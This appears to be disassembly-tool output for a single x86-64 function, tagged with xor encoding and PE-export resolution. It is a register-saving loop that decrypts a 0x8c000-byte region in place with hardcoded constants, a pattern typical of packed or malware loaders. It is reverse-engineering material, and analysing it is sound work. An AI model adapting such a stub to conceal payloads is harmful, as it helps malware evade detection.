Function at 0x140228000
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push rbp
mov rbp, rsp
sub rsp, 0x20
and rsp, 0xfffffffffffffff0
lea rcx, [0x14019ba00]
push 0
pop rdi
push rcx
sub dword [rcx + 0x1b0], 0x13e142ca
add dword [rcx + 0x258], 0x34a53184
not dword [rcx + 0x68]
add dword [rcx + 0x64], 0x2b67cc1
not dword [rcx + 0x1b8]
not dword [rcx + 0x1a8]
sub dword [rcx + 0xfc], 0x64351949
add dword [rcx + 0x2e4], 0x16440c14
add dword [rcx + 0x78], 0x4b5c151f
not dword [rcx + 0x344]
add dword [rcx + 0x2bc], 0x30da754a
xor dword [rcx + 0x34c], 0xc096e75
sub dword [rcx + 0xc0], 0x18fb1cae
sub dword [rcx + 0x1fc], 0x7442e68
xor dword [rcx + 0x160], 0x1ab5934
xor dword [rcx + 0x2e0], 0x70b54abb
sub dword [rcx + 0x1bc], 0x3a09532b
not dword [rcx + 0x1c4]
add dword [rcx], 0x368311c0
xor dword [rcx + 0xa0], 0x548b5c21
sub dword [rcx + 0x2ac], 0x666664a9
xor dword [rcx + 0x2e8], 0x45003332
add dword [rcx + 0x268], 0x74d76e5
sub dword [rcx + 0x2d0], 0x18876546
add dword [rcx + 0x124], 0x4c8964fb
not dword [rcx + 0x5c]
xor dword [rcx + reloc.SHELL32.dll_IsUserAnAdmin], 0x6a143ab
add dword [rcx + 0x1c], 0x1f8a25e2
xor dword [rcx + 0x40], 0xe87409d
sub dword [rcx + 0x118], 0x24094bcc
add dword [rcx + 0x1f8], 0x374d35ba
xor dword [rcx + 0x254], 0xdcd6b79
xor dword [rcx + 0x264], 0x9395e8f
add dword [rcx + 0x29c], 0x77e020dc
add dword [rcx + 0x1d4], 0x1e114b31
sub dword [rcx + 0x3cc], 0x69db50c4
sub dword [rcx + 0x374], 0x14b6436
add dword [rcx + 0x3bc], 0x27d44a5c
xor dword [rcx + 0xd0], 0x30160a2f
xor dword [rcx + 0x94], 0x76de1324
not dword [rcx + 0xc]
not dword [rcx + 0x27c]
xor dword [rcx + 0x110], 0x1b9c61cd
xor dword [rcx + 0x2c8], 0x49687258
not dword [rcx + 0x368]
sub dword [rcx + 0x1ec], 0x11030865
xor dword [rcx + 0xd8], 0x392356d3
xor dword [rcx + 8], 0x6a2e598d
xor dword [rcx + 0x10], 0x26114772
not dword [rcx + 0x26c]
sub dword [rcx + 0x108], 0x40366b11
add dword [rcx + 0x298], 0x5abd2cb6
xor dword [rcx + 0x2b8], 0x486b120f
not dword [rcx + 0x260]
not dword [rcx + 0x3dc]
sub dword [rcx + 0x15c], 0x168b2595
xor dword [rcx + 0x12c], 0x6c8e7a2c
xor dword [rcx + 0x104], 0x1a5e3817
not dword [rcx + 0x230]
add dword [rcx + 0x24], 0x2c7c2f42
xor dword [rcx + 0x238], 0xb0c05b8
sub dword [rcx + 0x58], 0xd565ddc
sub dword [rcx + 0x204], 0x23b4780
not dword [rcx + 0x318]
xor dword [rcx + 0xe4], 0x6611266
not dword [rcx + 0x2c]
not dword [rcx + 0x304]
not dword [rcx + 0x20]
sub dword [rcx + 0x138], 0x4c827790
not dword [rcx + 0x17c]
xor dword [rcx + 0x2c0], 0x465c1940
sub dword [rcx + 0x384], 0x64251888
add dword [rcx + 0x3d8], 0x5b6956de
not dword [rcx + 0x2c4]
add dword [rcx + 0x1e4], 0x78cb5395
add dword [rcx + 0x348], 0x70bd1115
not dword [rcx + 0xc4]
sub dword [rcx + 0x37c], 0x24f73804
not dword [rcx + 0x3d4]
add dword [rcx + 0xcc], 0x46a77396
not dword [rcx + 0x74]
xor dword [rcx + 0x248], 0x476f58e8
sub dword [rcx + 0x1a0], 0x17a77a3b
add dword [rcx + 0x1c8], 0x7898202d
sub dword [rcx + 0x28], 0x43126bba
not dword [rcx + 0x174]
not dword [rcx + 0x3c8]
xor dword [rcx + 0x224], 0x64940db4
sub dword [rcx + 0x3ec], 0x3204094f
sub dword [rcx + 0xac], 0x4aaa3ed3
add dword [rcx + 0x98], 0x38f2d84
xor dword [rcx + 0xa8], 0x197277ee
add dword [rcx + 0x1e0], 0x77192d61
xor dword [rcx + 0x33c], 0x46062639
sub dword [rcx + 0x290], 0x7e84021
not dword [rcx + 0x3c]
not dword [rcx + 0x3e4]
not dword [rcx + 0x3b4]
sub dword [rcx + 0x398], 0x5cc90754
xor dword [rcx + 0x3b8], 0x63f533b7
not dword [rcx + 0x200]
xor dword [rcx + 0x16c], 0x26c3440b
sub dword [rcx + 0x270], 0x4bc73959
add dword [rcx + 0x3c0], 0x7d263b55
xor dword [rcx + 0x9c], 0x6c70724d
add dword [rcx + 0x13c], 0x11350f0a
sub dword [rcx + 0x36c], 0x78c7519e
sub dword [rcx + 0x50], 0x377f359d
not dword [rcx + 0x114]
xor dword [rcx + 0x2fc], 0x16ed67aa
not dword [rcx + 0x1dc]
not dword [rcx + 0x2f0]
not dword [rcx + 0x170]
not dword [rcx + 0x2dc]
sub dword [rcx + 4], 0x2a282677
add dword [rcx + 0x3fc], 0x7fef20cf
add dword [rcx + 0x314], 0x421e0025
sub dword [rcx + 0x144], 0x28024e85
not dword [rcx + 0x23c]
sub dword [rcx + 0x21c], 0x79d96727
add dword [rcx + 0xb4], 0x3dc75a7e
xor dword [rcx + 0x148], 0x6ead778d
add dword [rcx + 0x3e8], 0x3b39701b
sub dword [rcx + 0x280], 0x3e192318
add dword [rcx + 0x340], 0x79707930
add dword [rcx + 0x20c], 0x368c5447
sub dword [rcx + 0x2b4], 0x6f9c3666
add dword [rcx + 0x288], 0x24fb7138
not dword [rcx + 0x228]
sub dword [rcx + 0x14c], 0x16362c3c
not dword [rcx + 0x300]
not dword [rcx + 0x220]
add dword [rcx + 0x2cc], 0xc7502d1
not dword [rcx + 0x240]
not dword [rcx + 0x2a4]
xor dword [rcx + 0x90], 0x407c36de
xor dword [rcx + 0x194], 0x31d77cde
not dword [rcx + 0x3f4]
xor dword [rcx + 0x214], 0x69bf650d
add dword [rcx + 0x334], 0x2cb15ab6
not dword [rcx + 0x154]
not dword [rcx + 0x1a4]
xor dword [rcx + 0x11c], 0x7eb96c57
sub dword [rcx + 0x3f0], 0x23a1626e
not dword [rcx + 0x150]
add dword [rcx + 0x39c], 0x1fd2493b
add dword [rcx + 0x3f8], 0x28626d4
sub dword [rcx + 0x378], 0x64c86c3e
sub dword [rcx + 0x120], 0x5a0719ff
xor dword [rcx + 0x38c], 0x4ae142df
not dword [rcx + 0x244]
add dword [rcx + 0x3ac], 0x295f0fb6
xor dword [rcx + 0x1e8], 0x6ceb2893
xor dword [rcx + 0x190], 0x1ae94718
add dword [rcx + 0x35c], 0x34213a98
xor dword [rcx + 0xec], 0x5b875e1a
xor dword [rcx + 0x8c], 0x25c345eb
not dword [rcx + 0x360]
sub dword [rcx + 0x2a0], 0x1f312b31
sub dword [rcx + 0x210], 0x5da1996
sub dword [rcx + 0x274], 0x2f4c7b89
not dword [rcx + 0x2d8]
not dword [rcx + 0x84]
sub dword [rcx + 0x184], 0x5bec0137
sub dword [rcx + 0x19c], 0x62ff5a78
add dword [rcx + 0x308], 0x1f1b677c
not dword [rcx + 0xf4]
not dword [rcx + 0xbc]
xor dword [rcx + 0x88], 0x63c2073f
not dword [rcx + 0xf0]
not dword [rcx + 0x32c]
add dword [rcx + 0x3a0], 0x1ae909c2
not dword [rcx + 0x2f4]
add dword [rcx + 0x328], 0x6ef1654e
not dword [rcx + 0x14]
sub dword [rcx + 0x208], 0x369b2376
sub dword [rcx + 0x1b4], 0x587c3d04
not dword [rcx + 0x370]
sub dword [rcx + 0x388], 0x593314d7
add dword [rcx + 0x164], 0x6201570
add dword [rcx + 0x25c], 0x39666a91
sub dword [rcx + 0x31c], 0x65ab7a10
not dword [rcx + 0x1cc]
sub dword [rcx + 0x3a4], 0x4ae851fe
not dword [rcx + 0x278]
sub dword [rcx + 0x2f8], 0x25792fed
xor dword [rcx + 0x6c], 0x236459a
xor dword [rcx + 0xc8], 0x3f756272
sub dword [rcx + 0xdc], 0x5e16448f
add dword [rcx + 0x354], 0x21d67818
sub dword [rcx + 0xd4], 0x5d756898
xor dword [rcx + 0xb8], 0x3be7658e
xor dword [rcx + 0x338], 0x40264e06
not dword [rcx + 0x1d0]
xor dword [rcx + 0x18c], 0x62e85533
add dword [rcx + 0x250], 0x775e59e5
sub dword [rcx + 0x3c4], 0x533e2204
add dword [rcx + 0x130], 0x41060abe
add dword [rcx + 0x188], 0x23c1439b
xor dword [rcx + 0x3d0], 0x5bc31451
xor dword [rcx + 0x44], 0x3ec41e7d
sub dword [rcx + 0x1f0], 0x1dcc6e0e
sub dword [rcx + 0x198], 0x2eea7707
sub dword [rcx + 0x2ec], 0x5aed2437
add dword [rcx + 0x48], 0x4b73844
not dword [rcx + 0xa4]
not dword [rcx + 0x7c]
add dword [rcx + 0x180], 0x9691464
not dword [rcx + 0x24c]
add dword [rcx + 0x320], 0x350b229a
sub dword [rcx + 0x60], 0x5bb44922
add dword [rcx + 0x30c], 0x16714725
sub dword [rcx + 0x134], 0x5bc03382
xor dword [rcx + 0x80], 0x4bb067b3
not dword [rcx + 0x1ac]
xor dword [rcx + 0x22c], 0x79541820
sub dword [rcx + 0x38], 0x46c962cd
not dword [rcx + 0x34]
add dword [rcx + 0x100], 0x6baa5c77
xor dword [rcx + 0x284], 0x75255dab
sub dword [rcx + 0xe0], 0x57dc5b91
xor dword [rcx + 0x394], 0x53444d7e
add dword [rcx + 0x358], 0x2d983c14
add dword [rcx + 0x1d8], 0x4812378f
xor dword [rcx + 0x324], 0x4b5f372d
xor dword [rcx + 0x30], 0x50d96964
not dword [rcx + 0x128]
sub dword [rcx + 0x310], 0x308b558f
sub dword [rcx + 0x234], 0x17534b3e
add dword [rcx + 0x3b0], 0x4b5539ca
not dword [rcx + 0x380]
sub dword [rcx + 0x18], 0x4cc22718
add dword [rcx + 0x1c0], 0x22393a9d
not dword [rcx + 0x140]
not dword [rcx + 0x168]
sub dword [rcx + 0x3e0], 0x46f1e61
xor dword [rcx + 0xb0], 0xed600e4
sub dword [rcx + 0xf8], 0x4a42077d
add dword [rcx + 0x364], 0x32c275de
add dword [rcx + 0x54], 0x5fe41fd7
add dword [rcx + 0x390], 0x733a28ba
sub dword [rcx + 0x70], 0x4731718e
add dword [rcx + 0x28c], 0x19b2299a
add dword [rcx + 0x330], 0x69206287
xor dword [rcx + 0x2b0], 0x417630d6
not dword [rcx + 0xe8]
xor dword [rcx + 0x3a8], 0x20e742cf
not dword [rcx + 0x4c]
not dword [rcx + 0x218]
xor dword [rcx + 0x2d4], 0x66f10b5e
add dword [rcx + 0x294], 0x1a6477bc
xor dword [rcx + 0x178], 0x2d002ba9
sub dword [rcx + 0x350], 0x6d814077
xor dword [rcx + 0x1f4], 0x69e7461f
xor dword [rcx + 0x10c], 0x28ad5e67
xor dword [rcx + 0x158], 0x16795fb1
add rdi, 0x400
add rcx, 0x400
cmp rdi, 0x8c000
jne 0x14022802e
pop rcx
call fcn.140227306
mov rsp, rbp
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax